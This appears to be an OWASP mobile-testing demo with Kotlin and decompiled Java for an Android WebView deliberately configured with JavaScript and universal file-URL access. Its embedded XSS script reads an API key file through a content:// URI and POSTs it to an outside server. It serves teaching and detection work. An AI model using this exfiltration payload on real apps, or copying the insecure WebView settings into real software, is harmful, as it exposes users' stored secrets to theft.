This sample demonstrates how a WebView in an Android app, when configured to allow content access, can be exploited by an attacker to interact with exposed content:// URIs. While content:// URIs are simply interfaces to content providers, a misconfigured or overly permissive content provider may grant access to sensitive resources—such as internal app files. In this example, internal file access is used as a representative impact to illustrate the full attack chain, though actual impacts depend on the specific behavior of the content provider.
In this demo we focus on the static analysis of the code using semgrep and don't run the app nor the attacker server.
packageorg.owasp.mastestappimportandroid.content.Contextimportandroid.webkit.WebViewimportjava.io.*/** * This class writes a sensitive file ("api-key.txt") into internal storage and then loads a vulnerable * page into a WebView. That page simulates an XSS injection: * an attacker's script (running in the context of the vulnerable page) makes an `XMLHttpRequest` to * read the sensitive file via the content provider and then uses `fetch` to send the content to an external server. * * By loading the page with a `file://` base URL and enabling universal access from file URLs, * we relax the default restriction (which would otherwise treat `content://` requests as opaque origin) * and allow the `XMLHttpRequest` to succeed. */classMastgTestWebView(privatevalcontext:Context){funmastgTest(webView:WebView){// Write a sensitive file (for example, cached credentials or private data).valsensitiveFile=File(context.filesDir,"api-key.txt")sensitiveFile.writeText("MASTG_API_KEY=072037ab-1b7b-4b3b-8b7b-1b7b4b3b8b7b")// Configure the WebView.webView.settings.apply{/* `javaScriptEnabled` is required for the attacker's script to even execute. * This is very common in WebViews, unless they only load static content. */javaScriptEnabled=true/* `allowUniversalAccessFromFileURLs` is required in this attack since it * relaxes the default restrictions so that pages loaded from file:// can access * content from any origin (including content:// URIs). * * If this is not set, the following error will be logged in logcat: * * [INFO:CONSOLE(0)] "Access to XMLHttpRequest at 'content://org.owasp.mastestapp.provider/sensitive.txt' * from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported * for protocol schemes: http, data, chrome, https, chrome-untrusted.", source: file:/// (0) * * Note that the fetch to the external server will still work, but the retrieval of the file content via content:// will fail. */allowUniversalAccessFromFileURLs=true/* `allowContentAccess` is intentionally not set to false to showcase the default behavior. * If we were to disable content provider access, * this would prevent the attacker's script from accessing the sensitive file via the content provider. */// allowContentAccess = false}// Vulnerable HTML simulating an XSS injection.// The attacker-injected script uses XMLHttpRequest to load the sensitive file from the content provider.valvulnerableHtml=""" <html> <head> <meta charset="utf-8"> <title>MASTG-DEMO-0029</title> </head> <body> <h1>MASTG-DEMO-0029</h1> <p>This HTML page is vulnerable to XSS. An attacker was able to inject JavaScript to exfiltrate data from the app internal storage using content:// URIs.</p> <p>The file is located in /data/data/org.owasp.mastestapp/files/</p> <p>NOTE: For demo purposes we display the exfiltrated data on screen. However, the user wouldn't even notice as the data is exfiltrated silently.</p> <script type="text/javascript"> function exfiltrate(data) { var output = document.createElement("div"); output.style.color = "white"; output.style.borderRadius = "5px"; output.style.backgroundColor = "red"; output.style.padding = "1em"; output.style.marginTop = "1em"; output.innerHTML = "<strong>Exfiltrated Data:</strong><br>" + data; document.body.appendChild(output); // Send the text file content to the external server fetch('http://10.0.2.2:5001/receive', { method: 'POST', headers: { 'Content-Type': 'text/plain' }, body: data }) .then(response => console.log('File content sent successfully.')) .catch(err => console.error('Error sending file content:', err)); } function readSensitiveFile() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { if (xhr.status === 200) { exfiltrate(xhr.responseText); } else { exfiltrate("Error reading file: " + xhr.status); } } }; // The injected script accesses the sensitive file via the content provider. xhr.open("GET", "content://org.owasp.mastestapp.fileprovider/internal_files/api-key.txt", true); xhr.send(); } // Simulate the injected payload triggering. readSensitiveFile(); </script> </body> </html> """.trimIndent()// Load the vulnerable HTML.// Using a base URL with the file:// scheme gives the page a non‑opaque origin (using content:/// works the same way).webView.loadDataWithBaseURL("file:///",vulnerableHtml,"text/html","UTF-8",null)}}
packageorg.owasp.mastestapp;importandroid.content.Context;importandroid.webkit.WebSettings;importandroid.webkit.WebView;importjava.io.File;importkotlin.Metadata;importkotlin.io.FilesKt;importkotlin.jvm.internal.Intrinsics;/* compiled from: MastgTestWebView.kt */@Metadata(d1={"\u0000\u001e\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\b\u0007\u0018\u00002\u00020\u0001B\r\u0012\u0006\u0010\u0002\u001a\u00020\u0003¢\u0006\u0002\u0010\u0004J\u000e\u0010\u0005\u001a\u00020\u00062\u0006\u0010\u0007\u001a\u00020\bR\u000e\u0010\u0002\u001a\u00020\u0003X\u0082\u0004¢\u0006\u0002\n\u0000¨\u0006\t"},d2={"Lorg/owasp/mastestapp/MastgTestWebView;","","context","Landroid/content/Context;","(Landroid/content/Context;)V","mastgTest","","webView","Landroid/webkit/WebView;","app_debug"},k=1,mv={1,9,0},xi=48)/* loaded from: classes4.dex */publicfinalclassMastgTestWebView{publicstaticfinalint$stable=8;privatefinalContextcontext;publicMastgTestWebView(Contextcontext){Intrinsics.checkNotNullParameter(context,"context");this.context=context;}publicfinalvoidmastgTest(WebViewwebView){Intrinsics.checkNotNullParameter(webView,"webView");FilesensitiveFile=newFile(this.context.getFilesDir(),"api-key.txt");FilesKt.writeText$default(sensitiveFile,"MASTG_API_KEY=072037ab-1b7b-4b3b-8b7b-1b7b4b3b8b7b",null,2,null);WebSettings$this$mastgTest_u24lambda_u240=webView.getSettings();$this$mastgTest_u24lambda_u240.setJavaScriptEnabled(true);$this$mastgTest_u24lambda_u240.setAllowUniversalAccessFromFileURLs(true);webView.loadDataWithBaseURL("file:///","<html>\n <head>\n <meta charset=\"utf-8\">\n <title>MASTG-DEMO-0029</title>\n </head>\n <body>\n <h1>MASTG-DEMO-0029</h1>\n <p>This HTML page is vulnerable to XSS. An attacker was able to inject JavaScript to exfiltrate data from the app internal storage using content:// URIs.</p>\n <p>The file is located in /data/data/org.owasp.mastestapp/files/</p>\n <p>NOTE: For demo purposes we display the exfiltrated data on screen. However, the user wouldn't even notice as the data is exfiltrated silently.</p>\n <script type=\"text/javascript\">\n function exfiltrate(data) {\n \n var output = document.createElement(\"div\");\n output.style.color = \"white\";\n output.style.borderRadius = \"5px\";\n output.style.backgroundColor = \"red\";\n output.style.padding = \"1em\";\n output.style.marginTop = \"1em\";\n output.innerHTML = \"<strong>Exfiltrated Data:</strong><br>\" + data;\n document.body.appendChild(output);\n \n // Send the text file content to the external server\n fetch('http://10.0.2.2:5001/receive', {\n method: 'POST',\n headers: {\n 'Content-Type': 'text/plain'\n },\n body: data\n })\n .then(response => console.log('File content sent successfully.'))\n .catch(err => console.error('Error sending file content:', err));\n }\n function readSensitiveFile() {\n var xhr = new XMLHttpRequest();\n xhr.onreadystatechange = function() {\n if (xhr.readyState === 4) {\n if (xhr.status === 200) {\n exfiltrate(xhr.responseText);\n } else {\n exfiltrate(\"Error reading file: \" + xhr.status);\n }\n }\n };\n // The injected script accesses the sensitive file via the content provider.\n xhr.open(\"GET\", \"content://org.owasp.mastestapp.fileprovider/internal_files/api-key.txt\", true);\n xhr.send();\n }\n // Simulate the injected payload triggering.\n readSensitiveFile();\n </script>\n </body>\n</html>","text/html","UTF-8",null);}}
The output shows 4 results related to WebView configuration calls. However, it is important to note that the method setAllowContentAccess is not explicitly called in the code.